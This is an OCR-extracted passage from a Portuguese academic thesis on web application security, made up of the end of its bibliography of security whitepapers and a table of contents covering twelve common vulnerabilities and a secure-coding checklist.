Internet: Conceitos de Seguranca. Verséo 3.1 - outubro 2006. Disponivel em:
<http://cartilha.cert.br/download/>. Acessado em 22/01/2011.

CURPHEY, Mark; SCAMBRAY, Joel; OLSON, Erik . Improving Web Application
Security: Threats and Countermeasures. Verséo 1.0. [S.I.], 2003. Disponivel em:
<http://www.cgisecurity.com/lib/Threats Countermeasures.pdf>. Acessado em
05/03/2011.

ENTERPRISE MANAGEMENT ASSOCIATES. An Application Security Strategy
Guide. [S.I.], 2009. Disponivel em:
<http://www.cenzic.com/downloads/EMA_AppSecurityHailstorm_20090209.pdf>.
Acessado em 29/01/2011.

IBM CORPORATION. Designing a strategy for comprehensive web protection.
New York, 2010. Disponivel em: <http://www.ibm.com/common/ssi/cgi-bin/ssialias?
infotype=SA&subtype=WH&appname=SWGE_RA_RA_USEN&htmIfid=RAW 14246
USENG&attachment=RAW14246USEN.PDF>. Acessado em 19/02/2011.

KIM, Frank; SKOUDIS, Ed . Protecting Your Web Apps: Two Big Mistakes and 12
Practical Tips to Avoid Them. Volume 1.1. [S.1.], [20097]. Diposnivel em:
<http://www.sans.org/reading_room/application_security/protecting_web_apps.pdf>.
Acessado em 12/02/2011.

LAM, Jason; ULLRICH, Johannes B. . Cross Site Request Forgery: What Attackers



92

Don’t Want You to Know . Volume 2.1. [S.1.], [20097]. Diposnivel em:
<http://www.sans.org/reading_room/application_security/protecting_web_apps2.pdf>
. Acessado em 12/02/2011.

SANS. 20 Critical Security Controls. [S.Il.], 2010. Disponivel em :
<http://www.sans.org/whatworks/20-critical-controls-poster-062010.pdf>. Acessado
em 22/01/2011.

SOFTWARE ASSURANCE FORUM FOR EXCELLENCE IN CODE. Software
Assurance: An Overview of Current Industry Best Practices . [S.l.], 2008. Disponivel
em: <http://www.safecode.org/publications/SAFECode_BestPractices0208.pdf>.
Acessado em 19/02/2011.

SOFTWARE ASSURANCE FORUM FOR EXCELLENCE IN CODE. Fundamental
Practices for Secure Software Development: A Guide to the Most Effective
Secure Development Practices in Use Today. [S.1.], 2008. Disponivel em:
<http://www.safecode.org/publications/SAFECode_Dev_Practices1108.pdf>.
Acessado em 19/02/2011.

SOPHOS GROUP. Sophos Security Threat Report 2010. [S.I.], 2010. Diposnivel
em: <http://www.sophos.com/sophos/docs/ena/papers/sophos-security-threat-report-
jan-2010-wpna.pdf>. Acessado em 26/02/2011.

SOPHOS GROUP. Sophos Security Threat Report 2011. [S.I.], 2011. Diposnivel
em: <http://www.sophos.com/security/whitepapers/sophos-security-threat-report-
2011-wpna>. Acessado em 26/02/2011.




	1  INTRODUÇÃO
	1.1  OBJETIVOS
	1.1.1  Objetivo geral
	1.1.2  Objetivos específicos: 

	1.2  JUSTIFICATIVA
	1.3  METODOLOGIA

	2  O ESTADO DA SEGURANÇA DAS APLICAÇÕES
	3  AS PRINCIPAIS VULNERABILIDADES DE SEGURANÇA
	3.1   Cross Site Scripting (XSS) 
	3.1.1  Características
	3.1.2  Exemplo de ataque
	3.1.3  Estratégia de prevenção

	3.2  SQL Injection 
	3.2.1  Características
	3.2.2  Exemplo de ataque
	3.2.3  Estratégia de prevenção

	3.3  Cross-Site Request Forgery (CSRF) 
	3.3.1  Características
	3.3.2  Exemplo de ataque
	3.3.3  Estratégia de prevenção

	3.4  Falha de Autenticação e Gerenciamento de Sessão 
	3.4.1  Características
	3.4.2  Exemplo de ataque
	3.4.3  Estratégia de prevenção

	3.5  Referência Insegura Direta a Objeto
	3.5.1  Características
	3.5.2  Exemplo de ataque
	3.5.3  Estratégia de prevenção

	3.6  Configuração Inadequada do Ambiente de Execução
	3.6.1  Características
	3.6.2  Exemplo de ataque
	3.6.3  Estratégia de prevenção

	3.7  Vazamento de Informações e Tratamento Inapropriado de Erros
	3.7.1  Características
	3.7.2  Exemplo de ataque
	3.7.3  Estratégia de prevenção

	3.8  Upload de Arquivos de Tipos Perigosos 
	3.8.1  Características
	3.8.2  Exemplo de ataque
	3.8.3  Estratégia de prevenção

	3.9  Armazenamento Criptográfico Inseguro
	3.9.1  Características
	3.9.2  Exemplo de ataque
	3.9.3  Estratégia de prevenção

	3.10  Falha ao Restringir Acesso à  URL
	3.10.1  Características
	3.10.2  Exemplo de ataque
	3.10.3  Estratégia de prevenção

	3.11  Proteção Insuficiente da Camada de Transporte
	3.11.1  Características
	3.11.2  Exemplo de ataque
	3.11.3  Estratégia de prevenção

	3.12  Redirecionamentos de URL para Página não Confiável 
	3.12.1  Características
	3.12.2  Exemplo de ataque
	3.12.3  Estratégia de prevenção


	4  BOAS PRÁTICAS DE PROGRAMAÇÃO
	4.1  Checklist de Práticas de Codificação Segura 
	4.1.1  Validação de Entrada de Dados 
	4.1.2  Codificação da Saída de Dados 
	4.1.3  Autenticação e Gerenciamento de Senhas 
	4.1.4  Gerenciamento de Sessão 
	4.1.5  Controle de Acessos 
	4.1.6  Práticas de Criptografia 
	4.1.7  Tratamento de Erros e Log 
	4.1.8  Proteção de Dados 
	4.1.9  Segurança nas comunicações
	4.1.10  Configuração do Sistema 
	4.1.11  Segurança em Base de Dados 
	4.1.12  Gerenciamento de Arquivos 
	4.1.13  Gerenciamento de Memória 
	4.1.14  Práticas Gerais de Codificação 

	CONCLUSÃO
	REFERÊNCIAS BIBLIOGRÁFICAS
	REFERÊNCIAS CONSULTADAS 


